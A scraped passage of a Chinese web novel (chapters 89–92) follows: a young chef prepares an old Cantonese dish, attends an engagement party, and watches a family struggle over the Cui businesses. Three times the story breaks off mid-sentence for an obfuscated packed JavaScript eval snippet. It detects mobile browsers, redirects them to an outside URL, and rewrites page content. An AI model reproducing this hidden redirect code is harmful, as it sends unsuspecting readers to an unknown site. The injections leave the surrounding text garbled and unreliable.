原来宝华楼的特价菜是这么来的，难怪特价的乳鸽汤，乳鸽骨肉分离，特价的啫啫鸡煲也是，鸡皮和鸡架分开的，原来都是学徒们在练习啊？尤其是这个罗家传人，切坏了多少只鸡，多少只鸽子？ 食客发散思维，要不学徒们练习拆蛇肉吧！他们想吃菊花五蛇羹。 岳宁搬出一张一人高的龙趸皮说：“五蛇羹最近没空练，我伯伯和大妈妈要到了，我要给家人做家宴，我伯伯明确跟我说，他怕蛇，不敢吃。龙趸皮可以安排上，我这两天确实要做昆仑鲍甫。 观众：这又是个什么菜？ 第89章 昆仑鲍甫 这些年内地传统手艺人才凋敝，港城还有些传承。 然而，港城也有港城的问题，饮食文化受到外界冲击，高档酒楼也喜欢用一些舶来品，比如鹅肝、松露、鱼子酱之类的珍贵食材。 一些制作工艺繁复，食材很难取得，又不好做的菜式，渐渐被遗弃。只有燕鲍翅还牢牢地占据粤菜高端食材霸主地位。 昆仑鲍甫就是这样一道即将消失的菜，后来确实也消失了很长一段时间。 岳宁上辈子做这道菜的时候，这道菜已经消失了将近四十年，她是根据满汉全席的菜谱和自己的揣摩来做的。 这辈子，她能跟在有这个手艺的爷爷身边做一遍这个菜实在是幸运。 这张龙趸皮是岳宝华两年多前囤的，当时卖鱼陈告诉他，有船捕到一条四百来斤的龙趸，问他要不要鱼肉。 龙趸超过五十斤已经是珍馐，超过百来斤更是稀少，四百来斤那是可遇不可求，哪怕宝华楼不是做顶级食材的酒楼，他也没办法拒绝这样的好货。 去一看，更是忍不住了，这条龙趸品相太好了，要是龙趸皮被切割售卖，实在可惜。他决定买下整张龙趸皮，亲手晒制，到时候给几个老客做昆仑鲍甫。 只是后来，丁胜强那个事情一出，他忙于应付，哪里有空做这种耗费精力，吃得人又不多的菜？这么一来，这张龙趸皮就被他收藏了起来。 没想到却遇到了最最恰当的时机，宁宁要开宁宴了，他就拿出了这张龙趸皮给孩子。 菜谱制作过程还算详尽，但是发制过程就很简略。泡发的第一步，岳宁就知道自己上辈子的问题了。 爷爷说泡发要五蒸五浸，上辈子她就是蒸了之后，直接浸泡拔鱼鳞。 “以前没有冰箱，无法制作冰块，我们就用一桶一桶井水来冲洗它。”岳宝华跟孙女说，“这样发出来的龙趸皮，弹性十足。” 有人提点了，岳宁一下子就理解了，就像白切鸡，想要获得紧致的鸡皮，就需要九浸九提，鸡皮才脆爽Q弹。 除了龙趸皮，还需要发制很多食材。以前没有保鲜技术，鲜货很难保存，先民就用干制，腌制的办法保存食材，很多食材在干制过程中风味转化，反而有了比新鲜食材更加浓郁的味道。 鲍鱼就是干鲍的风味远远好于鲜鲍。这几天岳宁带着人在宁宴发制这些食材。 固然是要给长辈们做日思夜想的怀旧菜，宁宴 以后的招牌菜，也要让这些富豪长辈帮她试试口味。 岳宁手头的事差不多了，她回自己的办公室，脱下厨师服，听见敲门声：“请进。” “宁宁，你约了两点开始补习。现在一点五十分，我刚好有几件事，要跟你说一下。”杨志杰站在门口。 “OK。”岳宁从抽屉里拿出复习资料，放在桌上。 杨志杰坐下：“如你所料，御龙轩把我们广告里的几道菜全上了，还要上昆仑鲍甫了，还号称是楼家富主理。” “他们已经在渐渐适应跟随者的心态。很不错！”岳宁就喜欢这种吵吵嚷嚷的跟随者，等于是给她打广告。 还想抢在宁宴正式开业前，先上昆仑鲍甫？ 她爷爷是在福运楼鼎盛的时候学艺，昆仑鲍甫这道菜做了不知道多少遍。 但是，他收徒之后，从小摊子做到酒楼，宝华楼定位就是高性价比酒楼，而且这些年这道菜也不流行了，楼家富能有多少机会学这道菜？ 自己上辈子精研菜谱，再说互联网上，自己发复刻旧菜，别人也发，同行之间互相交流，进行很多次的改进，才让这道昆仑鲍甫，上了宁宴的餐桌。 有些旧菜会消失，其实也有其本身缘故，龙趸皮发制不好，腥味会很重，很难靠佐料掩盖。 岳宁当时选这个菜出镜，正是料定御龙轩跟着上这道菜，她预估楼家富未必能做好这道菜。 “那家电视台和记者被骂了，都在说他们外行不懂门道可以，不能去宝华楼走一趟，点名几个厨子的菜，就能知道那几个厨子的水准了。”杨志杰笑着说。 岳宁耸肩：“不过是收钱办事而已，以为很有逻辑，实际上完全不了解内地的情况。” “是啊！对了，宁宁，我找了两个人进公司实习，你帮我面试一下？” 虽然岳宁跟他说，让他试着自己决定团队的人选，他还是想跟她说一下。 “这个你决定，我相信你。”杨志杰是自己知根知底的人，是岳宁最想要培养的嫡系。 到底是二十出头的少年，岳宁这么说，杨志杰很开心：“嗯。” 岳宁想了想，还是得提醒他一句：“如果觉得不行，一定要学会果断让人走。真有问题，你可以问苏菲姐，她经验丰富。” “好”杨志杰点头，“我们复习了？” “嗯。”岳宁打开资料。 两人在办公室里复习，没有注意门口玻璃 有人往里看了一眼。 岳宁一直自我加压，复习排得很满，一个问题接一个问题，阿杰也算是超级努力的学霸，跟着她转，也有些吃不消。 岳宁见他，微微呼出一口气，说：“下次我们放松一点？ “不用。杨志杰说，“我要让自己跟上你的脚步。 “是我不好，其实没必要这么紧张。我们都还年轻，有大把的时间可以努力。下次觉得我东西太多，提醒我一声。岳宁跟他说，人生很长，真没必要压力这么大。自己这个周扒皮的习惯，什么时候能改改？ 杨志杰站起来：“我先走了。 “OK。 杨志杰拉开门，岳宁也站了起来，抬腕看表，乔君贤说要过来，晚上要带她一起出席一个订婚宴。她还得去赵熙如那里做个造型。岳宁正要打电话去他厂里问问，见乔君贤站在门口。 岳宁笑着拿了包走过去：“什么时候来的？ “有一会儿了。 今天他开了他那辆白色保时捷，岳宁坐了进去，乔君贤打开抽屉，递给她一封信，岳宁一看是小杨沟来的。 乔君贤开车，岳宁拆信，这信还老厚实了，里面分别折叠的三张信纸，她展开一看，葛大姐的、秀秀的和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915446|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福根**的。他们可真会省钱！ 岳宁最关心的，还是葛大姐和阿根叔的事，葛大姐信里先谢过她给寄过去的衣服和零食，阿根叔带给她了，她很喜欢。后面是阿根叔说他的字太丑，让她代笔了。第一句就是“宁宁，托你的福，我跟月芹处对象了。 岳宁看见这话笑得合不拢嘴，乔君贤问她：“你笑什么？ “阿根叔跟葛大姐果然处对象了，全是我的功劳。岳宁开心得都快飞起来了。 乔君贤笑着跟她说：“你是不是要回他们，你也跟我处对象了？ 岳宁瞪了他一眼：“神经。 她又拿起一张信纸，福根叔就……岳宁笑，这是给她做思想教育呢？怕她在港城受资产阶级的腐朽思想，变得堕落了。 “哈哈哈，福根叔要是知道我跟大资本家的儿子处对象，他不得急死？ “他是知道你自己就是资本家，会更着急。乔君贤提醒她。 也是啊！岳宁拿起最后一张信纸，她给春梅婶一家子都送了东西，春梅婶让她别破费了。 这点东西对她来说算什么破费？不过自己这点东西 ，对她们来说可能一年都挣不到。 往下看就不对了，秀秀说春梅婶和忠义叔正在张罗着给她说亲，是隔壁村的一个小伙子，读过高中，刚刚当兵退役回来，人家是好人家，但是她不想这么早嫁人，爹妈都说让她不要错过了，她现在心里很烦。 见岳宁脸色都变了，乔君贤问：“怎么了？” “春梅婶和忠义叔张罗着要给秀秀说亲。秀秀才十六岁，她还是半大的孩子。”岳宁头疼，“我知道春梅婶和忠义叔，他们也疼女儿，我阻止他们给秀秀说对象，人家恐怕也不听呢！” 岳宁把信里的内容读了一遍给乔君贤听。 在西北的时候，乔君贤见过那对夫妻，从岳宁的嘴里知道这对夫妻人很不错。他们给秀秀定这门亲事，可能真的是在他们可以选择的范围内是最好的了。 “秀秀年纪那么小，她懂什么，这个时候处对象，可能到十八岁再结婚，也可能十八岁的时候已经是孩子妈了？她是个挺聪明的女孩子，我原本想等慧仪姐姐，上海或者北京的合资厂开了，介绍她去给慧仪姐姐做个文员。” 乔君贤手指敲着方向盘：“我给你拍个电报回去，本来你就想让你阿根叔和葛大姐出来，也想让你春梅婶他们出来，那就这样，你就说听见秀秀要说亲了，你很高兴。你现在在港城也很好，跟我也处了对象。刚好我要在鹏城开工厂。你跟我说，让我替你安排几个人进工厂。让你阿根叔和葛大姐，还有秀秀兄妹俩，我记得你说过春梅婶有个大儿子对吧？还有那个小伙子，一起来鹏城。” “小伙子也来鹏城？” “多一个人又无所谓的。在我们眼皮子底下，两个人要是相处得来就相处，两人要是相处不来，到时候分手了就好了。”乔君贤说，“我打电话给李国强，他现在就靠着我做生意。让他去小杨沟想办法把人带过来？” 有了解决办法，岳宁就松了一口气：“好。” 第90章 崔慧仪的合作 今天岳宁和乔君贤是作为女方嘉宾出席订婚宴。 女方家里是做食品代理生意，男方做日本家电转口贸易很多年，都跟鸿安百货和商超有几十年的关系。 圆仔面就是女方家代理销售的，如今岳宁跟崔慧仪合作。崔慧仪也让岳宁去，说今天港城食品这块的人家都会到场。 食品这块看上去不显山不露水，实际上很容易出超级富豪的一个行当。 上辈子那些互联网，高科技企业，资金需求实在太大了，所以股权很分散，最终企业很大，但是创始人持有的股份却不多。 而食品这块，卖矿泉水的，卖膨化食品的，甚至像她这样做餐饮的，好几个富豪都在财富榜前排。 乔君贤的家电代理公司，跟男方合作，现在家电工厂也跟男方合作。 赵熙如给岳宁挑了一件银灰色晚礼服，托尼老师给岳宁洗剪吹，艾米姐姐给岳宁化妆。 赵熙如抱怨：“你能不能不要穿宝华楼边上那家清仓大甩卖的T恤短裤了？你一年四季的衣服，我全包了行不行？” “那些衣服材质挺好，我穿着挺舒服，你这些太淑女了，我平时后厨楼面跑来跑去，实在不方便。” 再说了，她还有那些新中式的衣服都没时间穿呢！ “对了，姐姐，我下个礼拜要回一趟粤城，你有空一起去？我们正好去见见那对老夫妻？” “好，约好了。”赵熙如伸手挑了一下岳宁耳垂，“耳垂生得这样好看，不打个耳洞？” “不用，不用！”耳环是好看，岳宁还是怕疼。 见她这样，乔君贤笑着伸手牵着她往外。 乔君贤开车到中环一家国际品牌酒店门口，他下车把钥匙交给泊车小弟，迎宾人员正要带他们往里走，他们先被狗仔拦住了去路。 “乔先生、岳小姐，你们两位有订婚的打算吗？” 这个问题也太突兀了，他们认识到现在也没多少时间呢！考虑这个也太早了。 乔君贤转头看岳宁：“五年之期依然有效。岳小姐还要念书，等她念完书，我再向她求婚。” 他反应比她还快，这真的是最好的答案。 岳宁微笑点头：“是的。我可不敢因为拍拖耽误念书。” “你对御龙轩跟着你的广告片，推出鸽吞翅、宝塔肉和昆仑鲍甫，你怎么看？”记者又问。 “我无法阻止别人模仿，我只能尽力做得更好。不过能被 模仿就已经说明问题了。” “抱歉我们要进去了。”乔君贤打了个招呼带着岳宁往里去。 订婚礼场地在酒店的花园泳池畔。 乔君贤先带着岳宁跟男女双方打招呼女方的大哥除了对乔君贤热情之外还特意说：“慧仪刚才来的时候就说今天君贤要带岳小姐来今天总算是有缘见面了。” “今天你忙等下次有空一起组个球局我和她一起来。”乔君贤说道。 “那可就说定了。” 寒暄过后 崔慧仪招手让他们过去两人过去刚刚聊了两句有人来找乔君贤崔慧仪说：“我来照顾宁宁你去应酬你那些朋友。” 乔君贤在创业阶段家境虽好没有成绩还是要广结善缘岳宁呢也是背景好但是事业刚刚起步也需要认识这个圈子的人。 岳宁跟乔君贤说：“你去吧！我跟着慧仪姐她带我认识食品行业的人也是一样的。” “去吧！去吧！我还不放心或者说宁宁什么时候让你不放心？” 乔君贤被崔慧仪打发走了岳宁跟着她认识圈内的人士上次在展会认识的新益调味的汪老板带着太太也到了看见她们俩立刻过来打招呼。 岳宁听他话里话外都是想要合作岳宁发现了远处正看着他们的崔家昌今天崔家昌带着他的三太过来丝毫没有想要跟女儿碰面的意思当然崔慧仪也压根不去搭理她爸。父女俩的关系已经完全到了冰点。 岳宁对汪老板客客气气没有一句实际有用的话。她还想看崔慧仪下一步怎么做如果崔慧仪想要救崔记这些资源就不能冒然放出去。 时间到了男女双方上台岳宁跟崔慧仪说：“女方看上去很小呢？” “刚刚英国留学回来。大部分大家小姐都是念了几年书回来接受家里安排嫁个门当户对的丈夫。”崔慧仪想起姐姐也是如此还好姐夫算是疼姐姐还让姐姐出来做事。 岳宁看见乔君贤和他哥站一起她试着在人群中搜寻周明灵的身影她说：“君慎哥哥怎么没带周明灵？” 这时台上主持人请大家举杯祝福这对年轻人岳宁举了杯喝了一口饮料。 这个环节过去崔慧仪跟她说：“周明灵有新恋情了跟乔君慎分手了。” “啊？君慎哥哥失恋了 吗？” “失恋个鬼啊！”崔慧仪笑，“乔君慎一个接一个找娱乐圈的女友，就是挡掉不必要麻烦的，又不是真拍拖。” “什么？” 反正该打招呼的也招呼了，崔慧仪和岳宁拿了餐点，找了个位子坐下，崔慧仪说：“大家公子，尤其是乔君慎这种，自身有能力，还是注定要**家族企业的，那得有多少女人往他身上扑？如果他愿意，像蔡致远那样，即便是真有喜欢的女人，依旧在外宣称单身，女人可以从这里排到维港。随便一个应酬的场合都会有女人坐他大腿上。” 她们俩正说着，一个穿着礼服拿着红酒杯的女人朝乔君慎走去，岳宁见乔君慎眼疾手快，微不可查地后退了一步，那个女子面前变成了一个大腹便便的中年男人。 岳宁笑得叉子上的一块小牛排都掉了。 乔君贤那里也没好多少，一个女孩子找他搭讪，乔君贤把目光投向她，岳宁做好女朋友的职责，看向那个女孩子，那个女孩子讪讪地走了。 “不想结婚，又不想被这些女人扑，最好的办法是挑一个不麻烦的，绯闻少的女明星做挡箭牌。周明灵在娱乐圈混，刚开始拍戏的时候，传出被资深男演员欺负，打戏真打，打到骨裂。导演逼着她演**，她不乐意。跟了乔君慎，还有谁敢欺负？蔡致远给她的资源，她只要好好演戏，就一定能火。她只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915447|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认真陪着乔君慎出席这种场合，出席这种场合，对女明星来说，不是求之不得吗？” 又来了一个做海味生意的老板，岳宁和崔慧仪跟他聊了两句。 乔君贤拿了点食物走过来坐下，岳宁从他的盘子里拿了一颗葡萄，乔君贤一脸期待，岳宁把葡萄塞进自己嘴里。 崔慧仪看着他们直笑，乔君慎走过来，岳宁一脸好奇：“君慎哥哥。” “什么？”乔君慎坐下。 “周明灵有恋情了？”岳宁问他。 乔君慎转头看崔慧仪：“你跟她说的？” “你有新目标了吗？”崔慧仪答非所问。 “我以为周明灵能多撑些日子，谁知道……”乔君慎耸肩，“刚开始还信誓旦旦跟我说，她只想好好演戏。” “有新目标了没有？”崔慧仪再问他。 乔君慎叉了一只虾仁：“你以为找一只猫一条狗？大多是嘴里答应，没两天就犯规了。” 乔君慎低头吃东西，感觉越来越不对劲，似乎有道灼热的目光注 视着他。 “乔君慎要不咱俩凑一起吧？” 乔君慎正吃着一块蘑菇披萨沾着披萨酱的蘑菇就这么掉在他裤腿上崔慧仪狗腿地拿纸巾递给他：“便宜了那些女明星不如便宜我？虽然没有你你妈也会支持我。可对外界不一样啊？我做你女朋友。就老一代的交情你爷奶和爸妈都疼我咱俩结婚概率有多高？” 崔慧仪往她爸那里看去又回过头：“在这个时段上你对我是强有力的支撑。对你来说我崔慧仪的男朋友谁敢肖想？” 乔君慎擦了裤腿上的蘑菇把纸巾放在骨碟里看着崔慧仪崔慧仪还给他使了个眼色。 “你在这个场合在君贤和宁宁面前谈这个？”乔君慎看向目瞪口呆的岳宁还有一个不知道说什么才好的弟弟。 “合作吗？有什么不能谈的？” 岳宁反应过来这不就是言情小说里的协议婚约先婚后爱。 见乔君慎沉默崔慧仪继续劝：“找谁不是找找我不更好？错过这个村就没这个店了。” 岳宁顺着她说：“机会难得清仓大甩卖。过了今天明天就涨回原价。” “崔慧仪你真是……”乔君慎告诉自己崔慧仪今年多大他就认识崔慧仪多久她那个脑子能想出这个来绝对不算是离谱。 崔慧仪往他身上靠去：“这些我都会。” 乔君慎一下子还没反应过来被崔慧仪靠了个正着。 他还在看身边这个小鸟依人的崔慧仪 乔君慎看了一圈酒店花园很难杜绝的狗仔的潜入明天估计又是八卦漫天。 他再次看崔慧仪像是下定了什么重大的决心。说：“行吧！” “那个周明灵一点都没有契约精神她居然这么随便跟你断了。不能让她对外说是她甩了你而是你甩了她。”崔慧仪站起来“走我陪你去走走。” 岳宁和乔君贤看着崔慧仪落落大方地挽着乔君慎在场内谈笑风生肆意悠然。 她转过头去见崔家昌的脸色更加凝重了…… 第91章 崔家昌的决定 乔家大公子和崔家二小姐传出恋情。 这个消息意外，又是意料之中。香江上流社会几乎都是亲戚，乔启明和项立德是老友，崔慧仪的圆仔面能起来，有乔太多少功劳？乔家人喜欢崔慧仪谁不知道？ 估计是乔君贤都定了下来，作为家族**人乔君慎有了压力，平时家里可以容忍他跟明星玩玩。 真的要娶妻，那还是得娶身家对等的姑娘。所以，乔君慎跟周明灵分手选崔慧仪，也是天经地义的。 这么一来父女斗法，崔家昌是一点胜算都不可能有了。 崔家昌坐在办公室里，看着已经烂透了的销售数据。昨天他参加订婚宴，原本还有一点奢望，期望老朋友们能帮帮忙。 人吗？都是捧高踩低，他们连敷衍一下他崔家昌都欠奉，一个个都去捧着小女儿。 更何况，就在那个场合上，女儿和乔君慎出双入对。 崔家昌捏了一下眉心，还记得俩孩子小的时候，就喜欢凑一起玩，叶应漪还跟彩英说过，要不以后做儿女亲家？ 彩英也喜欢乔君慎，自己也很希望小女儿能嫁进乔家，乔家家风正，而且从上到下都不嫌弃慧仪这个咋咋呼呼的性格，再说叶应漪还是港城鸿安百货商超的总经理，女儿嫁入乔家，对他对崔记有莫大的好处。 后来彩英走了，孩子也大了，乔君慎身边人不多，却也从来不缺女友，也没人提这件事了。 谁想到在这个节骨眼上，他们居然在一起了。这还有他的活路吗？ “崔先生，陈老板来了。”秘书提醒他。 陈老板跟他合作很多年了，这些日子来催款的供货商太多了，自己能推则推，唯独陈老板，有这么多年的情谊在，他不好推的。 崔家昌站了起来，走到外头，把陈老板接了进来。 两人坐下，陈老板看着老友满头白发。他给崔记供货，也给立德供货，父女俩的恩怨也算看得清楚。 他也觉得崔慧仪未免太过于不念父女之情，然而局势到了今天，还谈情已经没有意义，理智一点，就是拿着条件放桌上谈。 崔家昌过去沙发上坐下，秘书给客人倒了茶。 崔家昌说：“老兄啊！十几年的老交情了，我也知道你困难，但是我也是没办法，再给我宽限些日子，行不行？” “我缓一天两天是没问题，局面就在这里，你真能一直拖下去吗？”陈老板开门见山地说，毕竟 他还有那么多货款没回。 崔家昌沉默了，陈老板说：“今天的八卦铺天盖地，以前乔家帮令千金是看在你老泰山的份上，现在可是帮未来儿媳妇。她如今气势如虹，后面又有这么强的后盾，你根本斗不过她。” “我也想啊！”崔家昌重重地叹了口气，他很冤，他只是想留点股份在手里，除了两个女儿，他还有一儿一女，钟月珊肚子里还有一个。全给女儿了，其他几个怎么办？ 他说着自己的烦恼，老朋友抽了一口烟，也替崔家昌叫屈，他只能分析形势给崔家昌听：“你舍不得，你想留给其他几个。那我问你，你留得住吗？你想留点钱在手里，索性把崔记和立德的股份全卖了？” “怎么可能？崔记是我一手创立的，这个时候贱卖出去？” “你现在不卖，接下去估计也会易主吧？只怕到时候，别人在市场上收满了股份，逼你用立德换。”陈老板提醒他，“你自己想想吧？崔记在慧仪手里，崔记这个名字还保留着，跟她谈谈，我个人觉得放弃立德，把崔记大部分的股份给姐妹俩，你自己看看留少许股份在手里，以慧仪的本事，你那么点股份，也够那三个孩子衣食无忧了。” 陈老板也知道自己越俎代庖了，不过这也是唯一让他们这些供货商还能拿到钱的办法。 陈老板走了。 崔家昌一支一支烟地抽，拿起电话打到立德，女儿的秘书说她还在开会。 崔家昌挂断电话，决定亲自去立德。 崔记在新界，立德在港岛，路上要点时间，车子穿过隧道，旧事浮光掠影。 彩英盈盈笑地看着跑楼回来的他，威严的岳父指点他生意，慧文像小鸟一样扑向他。除了没个儿子，那是他最开心的日子。 岳父去世，他有了俞婉媚，俞婉媚生了儿子，他跟彩英商量，可不可以把慧书抱回来，当成她的儿子养，他给俞婉媚一笔钱，跟俞婉媚断了。 彩英歇斯底里地跟他闹，他那时候觉得大家小姐也不过如此，居然也跟泼妇一样。 看着失去理智的彩英，他把立德放在桌面上，问彩英，她有本事经营立德吗？一个被娇生惯养的大家小姐，就算是把偌大的家业交给她，她敢接吗？彩英不再说话了。 当然他也退了一步，再也不提把慧书带回来的事，也就不可能跟俞婉媚断了联系。 彩英没有福分，得了绝症，弥留之际最不放 心的就是两个女儿，用这么多年的夫妻情分求他继续好好经营立德，她不求其他，只求他等两个女儿大学毕业，把立德交给女儿。 到底是少年夫妻，他心疼心软，满口答应，一定好好经营立德，等两个女儿长大了，有了担当，替她把立德分给两个女儿，甚至自己还痛哭流涕地说：“没有爸和你，崔记哪有今天，崔记也有慧文和慧仪的份。 他当时并没有把立德当回事，毕竟岳父去世这么久，他对立德经营也没有上心，立德早就不是那个立德了。彩英想要把立德交给女儿，问题是两个女儿有这个本事吗？到时候把立德卖了，当成女儿们的嫁妆吧！ 他没想到的是，在他花天酒地的时候，彩英逼着两个女儿念书，逼着两个女儿学商科，她自己没有经营立德的本事，她培养了两个女儿。最后到了今天这个地步。 车子到立德门口，门卫见到他的车子，拿出了访客登记表。 这是把他当外人？崔家昌怒了：“不知道我是谁？ “您和您的车子没有登记，不能进。门卫也强硬，上面反复强调，尤其是崔记的人，更要注意。 被门卫向防贼一样看待，崔家昌愤怒地填了访客登记表，门卫放了他进去，但是跟了过去，让司机把车停在指定位置。 崔家昌从车上下来，走进办公楼，脚还没踏上楼梯，前台小妹说：“崔先生，请在接待处等一下，我先打电话上去通报。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915448|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我要登记，我要通报？你们知不知道我是立德的最大股东？崔家昌一声怒吼，把前台小妹吓得退后了一步。 “是我的要求，我可不想再次被人下硼砂。 崔家昌沉着脸看着女儿，崔慧仪把客户送了出门，转身回来看自己的亲爹。 “这几天在崔记发脾气还没发够，还要来立德发？ 崔慧仪给前台小妹使了个眼色，前台小妹回到位子上。 “走吧！去我办公室。 崔慧仪往上走，崔家昌跟在女儿后面，父女俩走进办公室。 办公室有会客区，有沙发。崔慧仪直接坐在办公椅里，崔家昌只能像她的下属似得，坐在她对过，父女俩对视。 秘书端了茶给崔家昌。 崔慧仪靠在办公椅里：“您最好说点可行的方案。还说那些有的没的，只是浪费我们彼此的时间。 “你就是这样对你爸爸 说话的？ 崔慧仪拿起咖啡杯，勾唇笑了一声：“您要不要回忆一下，用什么口气跟妈妈说话的？ 崔家昌耷拉着嘴角，崔慧仪喝了一口咖啡：“你有一句话，我记得很清楚：‘手里没牌的人，拿什么来谈条件？’那天你走了，妈妈恨她是女儿身，恨她肚子不争气，生了我们姊妹俩。妈妈说女孩子天生没牌，我不信。现在牌在我手里。你可以用那样的口气，对着帮你起家的老婆说话。我为什么不能用同样的口气对您说话？ 崔家昌盯着她看，崔慧仪笑着迎视他，她说：“说吧！ 崔家昌终究颓败下来：“立德全部转给你们姐妹俩，你占七成，慧文占三成，崔记我留10%，剩余的股份，你占三，慧文占七。两家公司，股份我不能平均分配，即便是亲姊妹，涉及到利益，必须保证其中一人有绝对的话语权。慧文有经营辉煌的经验，她背后也有资金支持，还有你的支持，我信她能把崔记拉起来。 崔慧仪没想到他能放弃得这么彻底，也理解他这么分配，她们姊妹俩，姐姐小时候，父母还很恩爱，姐姐对他的感情，深一些。要是崔记到自己手里，大概率是会被自己给卖了，到姐姐手里，姐姐还愿意去好好经营。 崔慧仪说：“我得跟姐姐商量，不知道她愿不愿意接手崔记。 “你们好好商量一下，商量好了跟我说一声。 崔慧仪叹了一声：“还有一件事，如果你不想崔慧书被那个女人连累，最好安排他们离开港城。否则你那个二太，不知道什么时候，就给你搞出不可收拾的局面来。 崔家昌站了起来，转过身，脚有点轻飘飘，他终究还是放弃了自己一生的心血。 他一步一步往外，女儿送客户，却没有送他，他是一个桌上没有牌的人，他能怎么办？ 就像彩英弥留之际，不信他会好好经营立德，会好好照顾两个女儿，她也只能把立德和女儿们托付给他。 崔家昌下了楼，上了车，跟司机说：“去俞婉媚那里。 自从上次闹得动静很大之后，老爷都没去过二太那里，怎么来了立德后，要去二太那里？司机不解，但是作为司机最好的习惯就是什么都不要知道，只需要把老爷送过去。 第92章 俞婉媚的思路 俞婉媚看着电视新闻，新闻里崔慧仪勾着乔君慎笑意盈盈回答狗仔提问，承认两人恋情。 乔君慎也亲口承认：“我们也算是青梅竹马，兜兜转转还是觉得对方最适合。” 记者问两人婚期在什么时候？ 崔慧仪诧异地说：“难道不该先拍拖吗？” 后一条新闻是女儿跟乔君贤，两人参加同一场订婚宴，乔君贤说岳宁要先读书。 崔慧仪年纪不小了，跟乔君慎在一起，不可能谈很久，估计一年半载就会嫁入乔家。难怪乔家明里暗里支持崔慧仪，说到底是乔家看中的儿媳妇。 这么看下来，立德肯定是保不住了。不知道崔家昌还在考虑什么？ 这个时候大大方方，把立德敲锣打鼓送出去，做了两个女儿的嫁妆，保住崔记要紧。 现在最麻烦的是那个怀孕了的钟月珊，钟月珊原本是崔记的法务人员，是个律师，虽然长得不漂亮，但是胜在年轻，还聪明，有学问。崔家昌现在对慧书已经失望了，要是她生个儿子出来，那就麻烦了。 崔家昌都不来她这里，她打电话去崔记，秘书总是推说崔先生很忙，没空。 没空？是陪钟月珊这只小妖精去了吧？ 俞婉媚听见外头有动静，好像是汽车进来的声音，她走了出去。 她见崔家昌从车上下来，连忙走过去，柔声唤：“家昌，你好些日子不来，慧书一直说想爸爸了。” 被女儿逼到退位，崔家昌也不知道该说像狼一样的女儿好，还是像羊一样的儿子好。 他不需要像慧仪一样的女儿，也不需要像慧书一样的儿子，要是慧文不是长女而是长子就好了。 慧文有能力，又重感情。 可惜啊！他命里没有那样的儿子，只希望慧文能好好经营崔记，让崔记这个牌子能留下来。 “是吗？慧书呢？”崔家昌问。 “去学钢琴了。”俞婉媚陪着崔家昌进屋。 崔家昌坐下，见电视里正在播放宝华楼的新闻，有人去御龙轩吃了鸽吞翅，又来宝华楼吃八宝乳鸽，食客大赞宝华楼的八宝乳鸽做得香气袭人，味道浓郁，虽然没说御龙轩鸽吞翅是不是好吃，但是这人说期待宁宴的鸽吞翅。 御龙轩的郭世杰真不知道是个什么脑子？为什么一而再再而三地去惹岳宁？崔家昌摇头，自己是没办法，这个女人就是岳宁的亲妈，还是害得他们父女去西北受苦的亲妈。 崔家昌把目光从电视上收了回来看着俞婉媚说：“我打算送你和慧书去加拿大。” “送我们娘俩去加拿大？”俞婉媚吃惊地复述。 “嗯我把崔记和立德都交给慧文和慧仪了如果慧铃母女愿意去我也送她们过去。”崔家昌呼出一口气“我等月珊生了以后等孩子大一点也打算去加拿大就去那里养老了。” 所有生意都交了出来他在这里也没什么事做。大女儿虽然对他还有感情但是失望也是真失望了两个孩子跟他都不怎么亲他也别想享受天伦了。 到不如去加拿大养老至少还有三个孩子在。 俞婉媚看着崔家昌真是担心什么就来什么。崔家昌说把立德交给两个女儿她相信。但是崔记他怎么会交出来？这是在骗她他们母子去加拿大他在这里等钟月珊生孩子如果生了个儿子他就守着这个儿子了吧？现在他说什么自己都不能信了。 “慧书读书读得好好的为什么要送去加拿大？”俞婉媚问。 崔家昌看着她：“不是光你们母子去其他人也会去。你留在港城有什么意义？看你女儿风光无限却跟你屁丁点关系都没有吗？离得远远的不好吗？” 为了离女儿远远地所以她要去加拿大？这算是什么破烂理由？俞婉媚也不想再听这个男人任何话了。 与其跟他争辩他发起火来再打自己一顿。到不如自己想想接下去该怎么办。俞婉媚说：“大概什么时候走？” 崔家昌原本还担心俞婉媚不肯去见她很快就答应了想来也是知道她那个女儿不是省油的灯不想再纠缠了吧？ 他说：“我马上安排你们的手续大约两到三个月就可以。我会在那里安排好慧书的学校和你们的房子。” “我听你的。”俞婉媚说道。 俞婉媚听话就最好了崔记还有很多事 崔家昌站了起来俞婉媚试探说：“慧书马上要回来了。” “我还有事先走了。” 俞婉媚看着崔家昌往外走有了钟月珊肚子里的那个这么多天没见儿子等一等都不愿意了。他们母子真去了加拿大只怕是再也回不来了崔记和慧书一点关系都没有了。 * 宁宴这 